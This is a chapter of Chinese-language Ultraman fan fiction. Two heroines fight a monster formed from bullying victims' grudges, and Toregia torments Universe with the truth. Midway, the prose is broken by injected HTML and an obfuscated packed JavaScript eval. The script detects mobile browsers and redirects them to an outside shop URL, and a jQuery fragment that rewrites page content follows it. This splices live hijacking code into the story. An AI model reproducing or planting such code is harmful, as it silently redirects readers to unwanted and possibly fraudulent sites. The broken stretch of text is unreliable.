继噬望后,两姐妹回高中住校了。
“你什么时候回去补充能量?”君若琳似乎是突然想起了什么。
“不着急,算算,等到下一次考宇宙警备队的时候回去吧,你也刚好可以考了。”舒霁合上了书说道,然后走进房间拿了另一本书出来。
君若琳看了看舒霁:“哦对了,我记得你第一天把我带回光之国的时候,路上撞见怪兽的表情很奇怪,是怎么回事?”
舒霁原先慵懒的眼神突然凌厉起来:“对啊,这件事我差点忘了…”
“我记得在与那只怪兽战斗的途中,我还感受到了其他的波动,可是打完了之后几秒钟波动就消失了,速度太快,我没办法确定方位…”
“会不会是感受错了?”
“不确定,所以我想回去确定一下……”说完,舒霁又陷入了沉思,“今天先不忙,我要把这段时间发生的事情理一下,一起汇报给上级。”
舒霁穿着米杏色皱感棉麻家居服,她坐在落地窗边上,侧头垂眸,指尖夹笔,正专注地阅读书籍。
舒霁看着看着皱了皱眉:“这什么书…好奇怪啊…你们这里的老师只挑选天赋好的学生吗?”
君若琳抬头看向她手中的书,是一本仙侠类书籍:“有些,是的。好老师好像都喜欢教聪明学生。”
“你们叫这为好老师?是因为文化不同吗?光之国,把底子差或者普通学生教好了,才算好老师。”舒霁略带疑惑地看向君若琳。
君若琳语塞。
“唉,好啦,这书真没意思,我们出去走走吧,刚好晚上的风凉爽。”
————
今天儿童节,即使已经到了七八点,外面也还有很多小孩在玩耍,有些像是刚演出完,还未来得及脱下衣裙。
忽然,君若琳感觉自己衣袋开始振动,便将手机摸出来一看。
手机屏幕显示着“父亲来电”。
君若琳眸色沉了沉。
“喂”
“喂”
“有事说?”
“你…要回来…看一下老师不?我看好多娃儿都回母校看老师了。”
“不。”
“嗯…那好嘛。你在外面要好生工作,你年龄太小了,外面人要注意到点,多干一些,让老板注意到你……”
“知道了知道了。”
“…那好嘛…那挂了。”
君若琳立刻将手机挂断,皱着眉头,莫名的烦躁感涌上心头,深呼吸了一口气,似乎想一下子将自己胸腔内的空气全部呼出来。
舒霁看在眼里,没说什么。
“唉!琳娃!”远处忽然传来陈叔的声音。
君若琳脸上挤出了笑容:“陈叔!你在这里干嘛呀。”
“哦,我买点东西。”陈叔笑着说道。
君若琳注意到他中山装胸口的口袋上别了一个小贝壳。
“哎?陈叔,这是我给你的贝壳吗?”
“对哦,唉,最近新来了个小伙子,他一不小心,把最下面一个小贝壳整下来了,我就买了个夹子,做成这样咯。”陈叔笑得真切。
“啊?真的啊?”君若琳愣住了,“陈叔,你这样我都不好意思了。”
“娃儿,你送给我的东西哆嘛。”陈叔摆了摆手,“唉,好啦好啦,我去买东西了,下次聊奥。”说着便往东边走去了。
陈叔刚走,手机却振动了一下。
“若琳!你看群了吗?附近有个高中又出事了!是我的母校,我给你拉群里来。”
君若琳点开群聊,消息已经刷了上百条。有人发了几张截图——是学校论坛的帖子,标题是:“又有人失踪了,这已经是第三个了。”
发帖人说是“失踪”,但评论区有人爆料:不是失踪,是死了!
“警察怎么说的?”
“警车来的时候还跟了一辆车,叫什么超…灵…啥的,好像是管非自然事件的吧?”
“别吓我啊,快晚上了!”
评论越来越多。
君若琳放下手机:“我们去看看吧,灵异事件我还挺感兴趣,我还没见过鬼。”
舒霁对她挑了挑眉:“你不怕?”
“哈,我现在浑身是光,害怕啥?”君若琳笑道。
“刚才还心情不太妙,现在又过去了?”舒霁说道,“不开心可以早点回家休息。”
“哎哎,我们去看看吧。”君若琳道。
君若琳和舒霁转头往西边走去,到了那所高中。校门口没有警戒线,没有警车,只有几个保安在岗亭里看手机。
君若琳走近,敲了敲岗亭的窗户。一个保安探出头来,眼神懒洋洋的。
“干什么的?”
“听说你们学校出了事,过来看看。”
保安上下打量了她一眼:“你是记者?”
“不是。”
“那你看什么看?事情都过去两天了。”保安缩回头,继续看手机。
君若琳愣了一下:“两天了?”
“对啊,警察来过了,该查的查了,该问的问了。没什么好看的。”
君若琳没走。她站在校门口,用念力探查了一下。学校里的气息很正常,没有怨念,没有能量残留。但有一个地方——老教学楼后面,有一片荒废的小树林,她的念力伸进去,像被什么东西吞了,什么也探不到。
“那里有什么?”舒霁顺着她的目光看过去。
“不知道。”君若琳说,“但我的念力进不去。”
舒霁皱了皱眉:“那个地方,之前出过事吗?”
君若琳想了想,又走回岗亭,敲了敲窗户。保安不耐烦地抬起头。
“师傅,那边那片树林,以前是不是出过什么事?”
保安的表情变了一下,像被什么东西噎住了。
“没出过事。就是荒着,没人去。”
他说着,眼睛不自觉地看向桌上的报纸。报纸头条:某某学生坠楼身亡,监控显示无人接近,动作神情怪异。
“可以给我看看那个报纸吗?”君若琳指着那个报纸道。
保安看了她一眼,还是递给了她。
君若琳注意到那个头条的日期——三个月前。
君若琳和舒霁翻墙进了学校。那片小树林比想象中更荒,地上堆着枯叶和断枝,空气里有一股说不出的味道。
君若琳蹲下来,手按在地上。念力渗进泥土里。
一股浓烈的愤怒、悲伤、恨、绝望,涌进了君若琳的脑海。
她顺着那些痕迹往前走,走到一棵老槐树下。树根露在地面上,树根之间,夹着一样东西——一张照片,已经被雨水泡得发白,但还能看清上面的脸:一个男孩,十几岁,笑得很灿烂。
照片背面写着一行字,字迹歪歪扭扭,像是小孩子写的:
“爸爸、妈妈,我考上大学了,你们要来看我。”
君若琳的手抖了一下。她翻过照片,正面那个男孩的笑脸,让她想起新闻里那个坠楼的学生。
君若琳握着那张照片,突然感觉到一股寒意从手心窜上来。
她低头看自己的手。手背上,青色的血管像树根一样凸起来,颜色深得发紫。
“若琳!”舒霁的声音从身后传来,“松手!”
君若琳下意识松开手,照片掉在地上。灰白色的雾从照片里涌出来,越来越多,越来越浓。
“不是普通怨念。”舒霁的声音很低。
君若琳沉默了一瞬,然后弯下腰,把照片捡起来。
就在这时,小树林深处的黑暗开始蠕动。
树突然从内向外慢慢翻开。裂缝里伸出无数根黑色的触须,每一根都在微微颤抖。
巴利伽德从裂缝中升起,没有咆哮,没有怒吼,只有一种低沉的、持续的嗡鸣,像无数人在同时说话,声音叠在一起。
暗灰色的躯体上布满了紫黑色的斑块,像被殴打后留下的淤青,有些地方还在渗着黑色的雾气。胸口有一个巨大的空洞,洞内蜷缩着无数半透明的少年虚影,有的抱膝,有的捂脸,有的仰头张嘴,但听不到声音。
君若琳蹲在原地,仰头看着它。她没有立刻变身。她看着那个空洞里蜷缩的虚影——有一个看起来像照片里的男孩,弓着背,双手抱着膝盖。
(是他吞了那些孩子吗)
舒霁站在她身后,目光从怪兽移到君若琳的背影上,没有说话。
左耳耳环炸开白光。
“universe——!”
universe落地时,右手凝成一道纯白的长鞭。
巴利伽德没有动。
它胸口的空洞里,那些虚影忽然齐刷刷抬起头,看向universe。无数双红肿的眼睛里,怨恨翻涌,却似乎有一丝别的东西在闪烁
巴利迦德率先动了。
无数发丝般的黑色触须从背后炸开,像一张巨大的网朝universe罩过来。每一根触须上都带着灰白色的雾气。
太极鞭法·云手化劲——!
长鞭的圆形轨迹在空气中留下了一道道光痕,触须顺着边缘滑开,一根根触须从她身侧擦过,扎进身后的地面,在地面上留下一排排冒着白烟的深坑。
巴利伽德忽然仰头,发出一声嗡鸣。
啊啊啊啊啊————!
无数人同时尖叫的声音,尖锐得像玻璃碴子在耳膜上刮。
然后,它的左爪抬起,朝universe横扫过来。
她长鞭向前一送,鞭梢如枪尖般刺向巴利伽德的手腕。
太极鞭法·白蛇吐信——!
鞭梢点在巴利伽德的腕关节上,巴利伽德的左爪被打偏了方向,从universe头顶扫过,爪尖带起的风压将身后的废墟又掀翻了一层。
长鞭抽中巴利伽德,传回一声极轻的抽泣,universe的手顿了一下
(它在哭?)
这个念头只存在了半秒。一股灰白色的雾从鞭身上涌过来,顺着她的手臂往上爬。
她眼前闪过一个片段:厕所隔间里缩着一个人,门板外面有人用脚踹,木屑从门缝里溅进来,落在缩着的那人头发上。
那个人在哭。
那个画面不是她的记忆。
但她胸腔里忽然涌上一股滚烫的、几乎要把喉咙撑破的怒意——像是被感染了一样。
她不知道自己为什么突然这么想。她甚至没来得及想,鞭子已经再次甩了出去。
巴利伽德的右手已经跟进。
左爪横扫是虚招,右爪直刺才是杀招。五根尖锐的利爪并拢,像一把巨大的刺刀,朝universe的胸口捅来。
universe来不及收鞭。
她松开长鞭,双手在身前交叉,硬接这一击。
“砰——”
利爪刺在交叉的小臂上,发出金属碰撞的闷响。universe的身体被推得向后滑出十几米,双脚在地面上犁出两道深沟,最后撞上一棵老槐树,树干从中折断,树冠轰然倒地。
她的左小臂上留下三道白印,光粒子从裂缝里渗出来,左肩旧伤也随之撕裂。
巴利伽德没有给她喘息的机会。
它的右爪再次抬起,这一次,爪子上凝聚了灰白色的雾气,雾气中有无数细小的、半透明的面孔在尖叫。
巴利伽德利爪击——!
“小心!“舒霁的声音从侧面传来
universe右脚一蹬树干,身体向左侧翻滚。利爪擦着她的右肩划过。右手已经重新握住了长鞭。
她的身体还没站稳,长鞭已经从地面弹起,自下而上抽向巴利伽德的下颌。
太极鞭法·海底捞月——!
巴利伽德的头猛地后仰,无数只眼睛同时翻白,身体向后踉跄了两步,踩塌了一栋废弃的教学楼。
universe站定,长鞭在身侧盘旋一圈,蓄势待发。
但她的呼吸加重,巴利伽德似乎身上有什么东西在“传染”她。每次她的攻击打中它,都有一种微弱的、像电流一样的东西沿着长鞭传回来。
巴利伽德重新站稳。
它的下颌上有一道焦黑的鞭痕,但正在以肉眼可见的速度愈合。胸口的空洞里,那些虚影不再蜷缩,而是站了起来,贴在空洞的边缘,无数双手从里面伸出来,像在抓什么东西。
巴利伽德的触须再次炸开,扩散到整片小树林。灰白色的雾气从每一根触须上喷出,弥漫在空气中,但带着腐烂的甜味。
孤立囚笼——!
四面黑色的怨念屏障从地面升起,像棺材的四面墙,将universe困在中间。屏障内,无数声音开始循环回响——
“你怎么不去死?”
“我学习成绩比你好多了,你觉得老师信我的话还是信你的?”
“你活该。”
“告老师?你敢吗?”
“你就是个笑话。”
每一个声音都不同,有男有女,有老有少,但语气一样——冷漠、嘲弄、不耐烦,像在说一件无关紧要的事。
universe的呼吸开始急促,右手猛地攥紧长鞭。
她握鞭的手收紧了。指节抵住鞭柄,用力到关节发白。
她张了张嘴,但什么也没说,只是把鞭子甩了出去。比之前更重的一鞭。
胸口的空洞里,那些虚影忽然安静了一瞬。
她胸口空洞里的一个虚影,忽然抬起头,看向universe。那双红肿的眼睛里,怨念淡了一点,取而代之的是一种很陌生的东西——是好奇。
但巴利伽德的右爪再次抬起,这一次,爪子上凝聚出紫黑色的、跳动的东西。
无尽恸怒冲击——!
紫黑色的负能量光线从爪尖喷出,裹挟着无数受害者的嘶吼和哭诉,像一列失控的火车朝universe撞来。光线经过的地方,地面被掀开,空气被撕裂。
优妮斯屏障——!
紫黑色的光线撞上光壁,发出刺耳的“滋滋”声。universe的脚在地面上向后滑,每一步都在地上踩出一个深坑,光壁表面开始出现裂纹。
她的左臂开始颤抖。
巴利伽德加大了输出,紫黑色的光线变得更粗、更亮,光壁上的裂纹像蜘蛛网一样蔓延。
universe咬紧牙关
八分光轮——!
光刃脱手而出,高速旋转着切入紫黑色的光线中。光轮将光线从中劈开,分成两股从universe身侧掠过。被劈开的光线击中身后的废墟,两栋残楼被拦腰斩断,轰然倒塌,灰尘扬起几十米高。
光轮劈开光线后,余势不减,直取巴利伽德的胸口。
巴利伽德来不及闪避。光轮切进它胸口的空洞,切断了三根伸出来的虚影手臂。虚影的手臂掉在地上,巴利伽德发出一声尖锐的嗡鸣。
它低头看着自己胸口的空洞,无数只眼睛里第一次出现了困惑。
她的左手从屏障后收回,右手五指张开,掌心中凝聚出数十颗拳头大的小光球。
光球乱袭——!
右掌一挥,数十颗光球像流星雨般倾泻而出,从四面八方封锁了巴利伽德的所有闪避空间。
巴利伽德的触须疯狂舞动,试图拍飞光球。但光球触碰到触须的瞬间就爆炸,每一次爆炸都在触须上炸出一个焦黑的缺口。一轮轰炸过后,巴利伽德背后的触须被炸得七零八落,暗灰色的躯体上布满了焦黑的弹坑。
它胸口的空洞里,那些虚影开始哭泣。像小孩丢了最心爱的东西,哭得撕心裂肺,哭得喘不上气。
universe的手顿了一下。
巴利伽德抓住这一瞬间的空隙,背后的残余触须猛地伸长,从地面下无声地潜行到universe脚下,然后破土而出,缠住她的双腿。
流言鞭挞——!
触须上的恶意迅速窜进universe的身体,她眼前闪过无数画面。一个女孩被堵在厕所里扇耳光,一个男孩被按在地上踩,一个人在手机屏幕上看到“你怎么不去死”的消息,一遍又一遍。
universe单膝跪地,双手撑在地上,指尖抠进泥土里。
巴利伽德走向她。每走一步,地面都在颤,它胸口空洞里的虚影也在颤。
它走到universe面前,右爪抬起,爪尖对准她的头顶。
universe抬起头,“所以,你竟然还敢给我看你欺负人的回忆片吗?!”
universe彻底愤怒,右手手背的藤蔓疯狂延伸生长,将那怪兽全身缠绕了起来。
universe双手交叉。
星界轰爆————!
直径十米的光线喷涌而出,怪兽瞬间消散。
universe不解地看着自己的双手,今天的她似乎格外愤怒……是因为还没放下以前的事情吗?
叮——叮——叮——!
“哎呀呀~真是精彩呀~”
一个声音从身后传来,慵懒的、带着笑意的,像猫戏弄老鼠前的轻哼。
universe猛地转身。
暗蓝色的身影从夜色中浮现。身姿劲韧,线条流畅,大腿上的黑色腿环边肌理微微隆起,冷冽的躯体里藏着极具侵略性的力量感。
他一只手背在身后,另一只手在身前随意地晃着,歪着头看她,像在看一件有趣的玩具。
“Ultraman Toregia?!”universe往前走了一步
“哎呀呀,认识我呀?”toregia的语气像在哄小孩,尾音上扬,“我这么出名吗?”
“嗯……因为我……很钦佩您……”
他肩膀轻轻抖着,像听到了全世界最好笑的笑话。
“哈哈哈哈……这就是所谓的光之战士吗?”
universe愣住了:“……”
toregia笑够了,用食指擦了擦眼角并不存在的泪。他抬起另一只手,指尖拈着一缕还未完全消散的黑雾。
“哎呀呀,光之战士~永远正义的光之战士~”他的声音轻飘飘的,像在哼一首歌,“杀了受害者呢。杀了那些被霸凌的孩子呢~”
他歪头,眼睛弯着,语气天真得像在陈述一个事实:“真是可笑呀~”
universe猛地顿住:“什么意思?不是它杀的那些孩子吗?”
toregia没有回答。他的身影忽然从原地消失。
下一秒,他的声音从universe身后传来,近得像贴着她的耳廓,气息冰凉:
“你猜~”他的声音忽然压低了,像在分享一个只有两个人知道的秘密,“它最后为什么不反抗呢?”
universe的脊背瞬间绷紧,光粒子从皮肤上炸开。她猛地转身,toregia已经退到了三米外,将那一缕黑雾举到眼前,像鉴赏一件艺术品。
“看呐~看呐~”他眯着眼,语气陶醉,“这么多人。被霸凌的小孩~大人~老人~我的天呐,人类可真是善良啊~”
他忽然转头,直直地看着universe的眼睛。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878346|212425||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“哦,还记得你看到的那张照片吗?”他的声音轻得像在说一个秘密,“那个男孩,是最近死的哦。被霸凌死的哦~”
universe的手开始发抖。
“老师不相信他会被好学生霸凌,就不管他,哈哈哈结果就这么惨死了。”
“哎呀呀,他的父母呀——父亲为了给他讨回公道,‘一不小心’被车撞死了。母亲为他奔走多年,也‘不小心’死了呢~”
toregia笑了。这一次是真正的、愉悦的笑,但他却似乎一直在观察着universe的反应。
universe的嘴唇在抖。她想说话,喉咙像被掐住了。
“好不容易呀,那些被伤害的灵魂——不知道怎么做到的,死后合在一起,借助外力变成了怪兽。”toregia歪着头,“可他们呀,只杀了霸凌者而已哦~从来没做过任何坏事呢~”
他顿了顿,眼神变得温柔,温柔得让人起鸡皮疙瘩。
“可是今天——”
他往前走了一步。
“你杀了他们。”
又一步。
“你把孩子,把孩子的父母——”
他停在universe面前,低下头与她平视,声音轻得像叹息:
“都杀死了呢。”
“真是正义的光之战士呀~”
叮——叮——叮——
universe的彩色计时器开始闪烁。
“不可能……”
toregia没有动。他微笑着看着她。
“那个男孩——”universe的声音发紧,“那张照片——你说他父母也——”
“死了呀。”toregia替她说完了,语气轻快得像在说天气,“都死了呀。”
“那怪兽——”
“怪兽就是他们呀。”toregia歪头,“一家三口,加上其他被霸凌的人——死后怨念融在一起,变成了你刚才杀的那个东西。”
universe的计时器闪得更快了。
“它没杀过无辜的人。”toregia的声音忽然放轻了,像在哄小孩,“它只杀了霸凌者。一个都没多杀哦。”
“那你为什么——”
“为什么不早点告诉你?”toregia笑了,“我才刚来就看到这么一出好戏啊——哈哈”
universe的身体开始发僵。她想起巴利伽德最后关头没有反抗,想起那些虚影在哭泣
“我……”universe的嘴唇在抖,“我杀了——”
“受害者。”toregia替她说完了,笑容温柔得却似刀片,“你杀了受害者呀,亲爱的小朋友。”
叮叮叮叮叮——
universe没有回答。
她站在那里,手里还握着长鞭。巴利伽德消散的地方,灰白色的余烬还在往空中飘,像一场倒着下的雪。
她看着那些余烬,没有动。
一秒。两秒。
然后她低头,看自己的手。指尖微微张着,光粒子在指缝间明灭。
“……什么?“
她的声音很轻。不像惊讶,更像一个没睡醒的人在半梦半醒间被人推了一下,还没搞清楚发生了什么。
universe的身形开始闪烁,像接触不良的灯泡,最终消散成了光点。
“我不是——”她想说“我不是故意的”,但话到嘴边,变成了一声极短的、被掐住喉咙的呜咽。
光粒子从指尖开始消散,像沙漏里的沙。她跪在地上,膝盖砸进碎石里,掌心被划破,血流出来,她没感觉。
toregia也变成了雾崎,蹲了下来,和她平视。
雾崎没有动。他蹲在那里,歪着头,看着她。
看她跪在碎石上的姿势。看她双手撑在地上、手背上的青筋慢慢凸起来。看她呼吸的频率从急促变成断断续续的抽气。
他等了一会儿,才开口:
“疼吗?“
君若琳没有回答。她低头看着自己的手。那双手在抖,抖得她几乎握不住东西。
“我……”她的声音从喉咙里挤出来,“我杀了他们。”
“taro是这么教你的吗?”雾崎的声音从头顶落下来,带着失望——像一个老师在批评不争气的学生,“不了解情况,带着情绪就上场了?哈哈哈哈哈哈!”
他蹲下来,和她平视。
“真是taro的好学生呀。”他歪头,眼神里带着一种近乎怜爱的失望,“你欺负他们——欺负那些已经不会说话的人——欺负得可真顺手呢。”
君若琳不可置信地看着自己的双手。那双手在抖,抖得她几乎握不住东西。
“我、我做了什么?……我……”
她的声音越来越小,似乎是耗尽了全部力气。
雾崎缓缓走近,伸出手,指尖靠近她的后背。他的表情却开始变得疑惑。
“若琳——”他声音颤抖地冲向了她。
雾崎的手顿住。他退开两步,低头看着自己的指尖,喃喃了一句:“……哎呀呀,是同一个奥吗?”
舒霁落在他和君若琳之间,身体微微前倾,挡住了雾崎所有的视线。她的声音不高,但每个字都像钉子:
“toregia。你不是……被令迦杀死了吗?”
雾崎回过神来。他歪头看着舒霁,嘴角慢慢弯起。
“哎呀呀~”他的语气又恢复了那种轻飘飘的愉悦,“怎么,如果让你不高兴了——”
他摊开双手,微微鞠躬,像一个谢幕的演员:
“我肯定会庆祝的~”
舒霁没有理他。她转身蹲下,双手扶住君若琳的肩膀,掌心覆上她冰凉的手背。
(她不知道……)
这个念头像一盆冰水从头顶浇下来。她不知道那个怪兽是受害者,不知道那些虚影是被霸凌的孩子——她什么都不知道,就冲上去打了。
而自己呢?
舒霁的指尖抠进掌心。
(我也没有发现。)
她一直在旁边看着。她看到了那些虚影在哭,看到了巴利伽德最后关头没有反抗——但她没有阻止若琳。因为她也觉得,那就是一只怪兽。
“若琳。”她的声音不高,但带着不容置喙,“看着我。”
君若琳抬起头,眼睛里没有泪。
“我杀了他们。”她声音微微颤抖,“我杀了受害者。”
“你没有。”舒霁的手收紧,“你杀的是怪兽。那些灵魂已经和怨念融为一体,你没有办法区分——”
“那它为什么最后不反抗?”君若琳打断她,声音突然拔高,像绷到极限的弦突然断了,“你听到了吗?它不反抗!它——它只是在哭!”
她的肩膀开始发抖,凉意从骨头里渗出来的,她开始控制不住的颤抖
舒霁没有说话。她把君若琳的头按到自己肩上,一只手轻轻拍着她的后脑勺。
雾崎站在不远处,安静地看着这一幕。他的脸上没有笑,也没有嘲弄。只有一种说不清的、复杂的神情——像在看一面镜子。
他转身,手里那枚黑色硬币弹起,落下。声音缓缓传来:“期待我们的下次见面…”暗蓝色的身影融进夜色。
最后一句飘回来,像一根针:
“我还会来找你的哦~”
舒霁感觉到怀里的身体在剧烈地发抖。君若琳攥着她衣服的手,指节白得像纸。
“我杀了受害者……”
“若琳。”
“我杀了他们……”
“君若琳。”
她双手捧起君若琳的脸,逼她看着自己。
“君若琳。”舒霁的声音忽然沉下去,“你听好。”
她双手捧起君若琳的脸,拇指擦掉她脸上的灰和泪痕。
“你现在觉得你是凶手。你不是。你是被骗的。toregia的目的不是告诉你真相——是让你崩溃。他成功了,你就完了。”
“可是我已经——”君若琳的声音碎成一片。
“你已经杀了他们。”
“那是事实。但事实不是全部。你接下来怎么活,怎么面对,怎么不再被利用——那才是全部。”
君若琳看着她。眼眶终于红了,但没有掉泪。
“……我该怎么办?”
舒霁蹲下来。她先伸出手,把她膝盖上沾的碎石渣一粒一粒拍掉。拍完之后,她站起来,把手伸到君若琳面前,掌心朝上,指尖朝她。
“先回家。“她说。
“可是…”
“我杀了受害者。”
“但我当时不知道。”
“不知道就可以吗?”
“不知道……就不算吗?”
舒霁扶着君若琳站起来。她的腿在发软,每走一步都像踩在棉花上。
走出小树林的时候,她忽然停下来。
她捡了地上的一个小贝壳,喃喃道:“陈叔逛街丢三落四的……”
远处,城市的灯火还在亮着。商业街的霓虹灯,居民楼的窗户,路灯连成一条光河。
没有人知道这里发生了什么。
没有人在意。
君若琳看着那些光,忽然觉得它们好远。远得像另一个世界的东西。
“走吧。”舒霁的声音从耳边传来。
她迈开腿,跟着她走。
身后的废墟里,那张照片还躺在地上。雨水会继续泡它,时间会继续腐蚀它。
就像什么都没发生过。